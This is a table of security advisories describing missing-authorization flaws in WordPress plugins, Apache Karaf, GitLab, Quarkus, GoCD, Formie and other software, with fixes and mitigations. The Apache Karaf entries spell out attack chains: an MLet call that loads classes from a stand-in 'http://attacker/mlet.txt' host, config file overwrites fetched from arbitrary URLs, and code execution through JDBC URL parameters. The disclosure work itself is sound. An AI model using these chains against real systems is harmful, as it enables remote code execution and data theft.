| CVE |
Vendors |
Products |
Updated |
CVSS v3.1 |
| Unauthenticated Broken Access Control in BerqWP <= 4.1.15 versions. |
| The Motors – Car Dealership & Classified Listings Plugin plugin for WordPress is vulnerable to unauthorized access of data due to missing authorization checks in mvl_ajax_dealer_load_cars() function in all versions up to, and including, 1.4.120. This makes it possible for unauthenticated attackers to retrieve draft, pending, private, and future car listings belonging to arbitrary users. |
| The Booking for Appointments and Events Calendar – Amelia plugin for WordPress is vulnerable to unauthorized modification of data in all versions up to, and including, 2.4.5. This is due to the plugin accepting a client-supplied package-redemption identifier as proof of payment without validating it. This makes it possible for unauthenticated attackers to create approved appointment bookings without completing payment |
| The Booking for Appointments and Events Calendar – Amelia plugin for WordPress is vulnerable to unauthorized access and modification of data due to a missing ownership verification on /users/customers/<id> endpoint in all versions up to, and including, 2.4.4. This makes it possible for authenticated attackers, with wpamelia-provider role, to view and modify arbitrary customers, including password reset. Takeover of WordPress user accounts, with the roles up to Editor, is also possible if that user had made an Amelia booking. This vulnerability affects only the Premium version of the plugin, where the Employee Panel is present. |
| The King Addons for Elementor WordPress plugin before 51.1.81 does not perform per-object authorization checks on a group of image-optimization actions, gating them only on a coarse capability that lower-privileged users also hold and never confirming ownership of the targeted object, allowing authenticated users with author-level access and above to disclose absolute file paths for, overwrite the bytes of, and site-wide re-reference media belonging to other users, including administrators. |
| The NextScripts: Social Networks Auto-Poster WordPress plugin before 4.4.8 does not perform capability or ownership checks on several of its AJAX actions, relying on a nonce alone, allowing users an administrator has granted access to its posting features to export the site's configured social account credentials, delete arbitrary posts and reset the NextScripts: Social Networks Auto-Poster WordPress plugin before 4.4.8's configuration. |
| mall4j through 4.0 fails to enforce authorization checks on GET endpoints in UserAddrController that retrieve customer address data. Authenticated attackers can call /user/addr/page and /user/addr/info endpoints to harvest all customer addresses including names, phone numbers, and postal information. |
| An improper authorization vulnerability in the end-of-life versions of RTU500’s web application allows an authenticated user to trigger the RTU500 to reboot through the reset endpoint. Successful exploitation could cause temporary device unavailability and disruption of its intended operation. |
| Missing Authorization vulnerability in Interprobe Information Technologies Inc. Qorela DC allows Privilege Abuse.
This issue affects Qorela DC: from 1.6.1-RC29 before v1.6.2. |
| Apache Karaf exposes a JMX MBeanServer guarded by KarafMBeanServerGuard, which enforces role-based access control (RBAC) on MBean operations invoked over the remote JMX connector (RMI registry/server, enabled by default on ports 1099 and 44444). The guard is implemented as a java.lang.reflect.Proxy around the MBeanServer, and only forwards a fixed list of operation names to the RBAC check, defined in MBeanInvocationHandler#guarded:
private final List<String> guarded = Collections.unmodifiableList( Arrays.asList("invoke", "getAttribute", "getAttributes", "setAttribute", "setAttributes"));
The MBean lifecycle operations MBeanServer#createMBean, #registerMBean and #unregisterMBean are not in this list. Calls to these methods are forwarded directly to the underlying MBeanServer with no role check at all, regardless of the roles configured in etc/jmx.acl.*.cfg.
As a result, any user who can authenticate to the JMX endpoint, including a user holding only the least-privileged "viewer" role, can call createMBean() to instantiate an arbitrary class as a MBean, and unregisterMBean() to remove it again afterwards, with no authorization check and no audit log entry (logging in KarafMBeanServerGuard only occurs on the RBAC-denial path, which this bypass never reaches).
This is significant because javax.management.loading.MLet, a standard JDK MBean, can be instantiated this way. MLet acts as a remote classloader: its getMBeansFromURL(URL) operation fetches an MLet text file from an attacker-controlled URL and instantiates and registers the classes it lists as new MBeans in the target JVM. Reaching this operation still goes through KarafMBeanServerGuard's existing "invoke" check, but the default etc/jmx.acl.cfg grants the "viewer" role to any method name matching the wildcard rule "get* = viewer", a heuristic intended for read-only getters. Because "getMBeansFromURL" happens to start with "get", it also matches that rule, so a default installation grants "viewer" callers permission to invoke it without any Karaf-specific ACL naming MLet at all. Combined with the createMBean gap, this gives a "viewer"-role JMX client a path to remote code execution to the Karaf JVM:
* Authenticate to JMX as any user with any role (e.g. "viewer").
* mbs.createMBean("javax.management.loading.MLet", objectName) is not in GUARDED_OPERATIONS, no RBAC check, MLet is instantiated and registered.
* mbs.invoke(objectName, "getMBeansFromURL", new Object[]{"http://attacker/mlet.txt"}, ...) is guarded, but the method name matches the default "get* = viewer" ACL rule, so permitted.
* The remote .mlet file is fetched and its listed classes are loaded and registered as new MBeans, running attacker-supplied code in the Karaf JVM.
* mbs.unregisterMBean(objectName) can be used to remove the MLet afterwards, also not in GUARDED_OPERATIONS, no RBAC check, no audit trail.
The fix adds createMBean, registerMBean and unregisterMBean to the guarded operation list, resolves required roles for them from the jmx.acl* configuration by ObjectName and (for createMBean/registerMBean) MBean class name, and ships default etc/jmx.acl.cfg entries restricting all three operations to the "admin" role. This allows deployments to also write class-name-specific rule, e.g.:
createMBean(java.lang.String)[/javax\.management\.loading\..*/] = admin
Apache Karaf users should upgrade to 4.4.12 or 4.5.0 or later, once released, as soon as possible. Until an upgrade is available, restrict network access to the JMX RMI registry/server ports (1099/44444) to trusted hosts, or avoid issuing any non-"admin" JMX credentiels. |
| Apache Karaf's shell/SSH command security is enforced by per-scope ACL configuration files (etc/org.apache.karaf.command.acl.<scope>.cfg). SecuredSessionFactoryImpl.checkSecurity() resolves the roles required for an invocation and, when no ACL rule matches the command, fails open: ACLConfigurationParser.Specificity.NO_MATCH sets passCheck = true. The safety valve for this, karaf.secured.command.compulsory.roles, ships commented out in etc/system.properties, so an unmatched command is allowed for any authenticated user.
The shipped org.apache.karaf.command.acl.config ACL (assemblies/features/standard/src/main/feature/feature.xml, mirrored into instance/.../etc/org.apache.karaf.command.acl.config.cfg) has no install entry. It restricts delete to admin, restricts edit/property-*/update on the jmx.acl.*, org.apache.karaf.command.acl.* and org.apache.karaf.service.acl.* PIDs to admin, and allows manager for everything else, but config:install was simply unmatched, and therefore allowed for any authenticated user, including one holding only the viewer role.
config:install <url> <finalname> fetches url and writes it into ${karaf.etc} as finalname. It calls PathUtils.checkWithin() to block .. traversal outside karaf.etc, but that folder holds every security-relevant file Karaf ships: users.properties, keys.properties, host.key, and all org.apache.karaf.*.acl.* files, including the very ACL file that (mis)governs this command. With -o/--override, an existing file is overwritten with attacker-controlled bytes fetched from an arbitrary URL.
Because felix.fileinstall.dir = ${karaf.etc} (etc/config.properties), Felix FileInstall also watches and reloads any .cfg file dropped there, closing the loop without requiring a restart.
By contrast, bundle:install, feature:install and kar:install are all admin-only in their own ACLs, and config:delete is admin in this same ACL, config:install was the outlier.
MitigationAdd install = admin in etc/org.apache.karaf.command.acl.config.cfg (create the file is absent), and/or set karaf.secured.command.compulsory.roles=admin in etc/system.properties (and restart) to make unmatched commands fail closed by default. |
| The jdbc shell command scope shipped no org.apache.karaf.command.acl.jdbc.cfg. Karaf's command guard (SecuredSessionFactoryImpl) treats a command with no matching ACL rule as allowed, so any authenticated shell session (including one holding only the viewer role) could run every jdbc:* command. jdbc:ds-create stores a fully attacker-controlled JDBC URL into a pax-jdbc-config factory Configuration with no validation. pax-jdbc-config reactively turns that into a live DataSource. Several JDBC drivers run code or SQL at connection time based on URL parameters (e.g. H2 INIT=RUNSCRIPT), so a viewer-level shell user could reach arbitrary code execution, bypassing the admin-role gate that already protects shell:exec. This is a privilege-escalation-to-RCE chain, not merely an "admin misconfiguration".
The same applies to jms:* shell commands. |
| GitLab has remediated an issue in GitLab CE/EE affecting all versions from 19.0 before 19.2.7, 19.3 before 19.3.3, and 19.4 before 19.4.1 that under certain conditions could have allowed an authenticated user to read private child issue contents, including titles and descriptions, from projects they had no access to, due to missing authorization checks on linked work items within visible epics. |
| GitLab has remediated an issue in GitLab CE/EE affecting all versions from 15.11 before 19.2.7, 19.3 before 19.3.3, and 19.4 before 19.4.1 that under certain conditions could have allowed an unauthenticated user to read CI/CD job trace contents containing sensitive variable values due to improper authorization enforcement in the GraphQL API. |
| A flaw was found in Quarkus. This issue occurs when receiving a request over websocket with no role-based permission specified on the GraphQL operation, Quarkus processes the request without authentication despite the endpoint being secured. This can allow an attacker to access information and functionality outside of normal granted API permissions. |
| Docmost is open-source collaborative wiki and documentation software. Prior to 0.90.1, an authenticated workspace member who does not belong to a private space can call the transclusion / sync-block lookup API with a known sourcePageId and transclusionId pair because the lookup does not enforce private space membership before resolving the source page. The API can return confidential sync-block content and source page metadata even though the normal page APIs deny access to the same page. This issue is fixed in version 0.90.1. |
| A security flaw has been discovered in REBUILD up to 4.4.11. This vulnerability affects unknown code of the file /commons/file-editor-save. The manipulation of the argument url/fileKey results in missing authorization. It is possible to launch the attack remotely. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way. |
| Black Candy through 3.2.1 fails to scope playlist search queries to the authenticated session user, allowing any authenticated user to enumerate all playlists on the instance. Attackers can query the SearchController or Search::PlaylistsController endpoints with blank or targeted search parameters to retrieve playlist names belonging to other users without authorization. |
| GoCD is a continuous deliver server. From 20.2.0 until 26.1.0, the internal GoCD UI fetch-artifact auto-suggestion API at /go/api/internal/pipelines/**/upstream does not adequately authorize access to upstream dependency data. An authenticated user can retrieve inter-pipeline dependency hierarchy details and user-defined pipeline, stage, job, and artifact plugin reference names that the user cannot otherwise view in the UI. The endpoint is read-only and does not permit modification of pipeline data. This issue is fixed in version 26.1.0. |
| Formie is a Craft CMS plugin for creating forms. Prior to 2.2.23 and 3.1.31, Formie's formie/integrations/form-settings control panel action in IntegrationsController::actionFormSettings is reachable without the required form integration permissions and passes request-supplied settings to a configured integration. An authenticated attacker can replace outbound host properties such as apiUrl while the server uses stored API keys or OAuth tokens, causing non-blind server-side requests to an attacker-controlled or internal host and returning the remote response. This residual flaw remained because the permission gate added in version 3.1.28 excluded the form-settings action. Sites that permit low-privileged or front-end user authentication can therefore expose integration credentials and internal network responses. This issue is fixed in versions 2.2.23 and 3.1.31. |
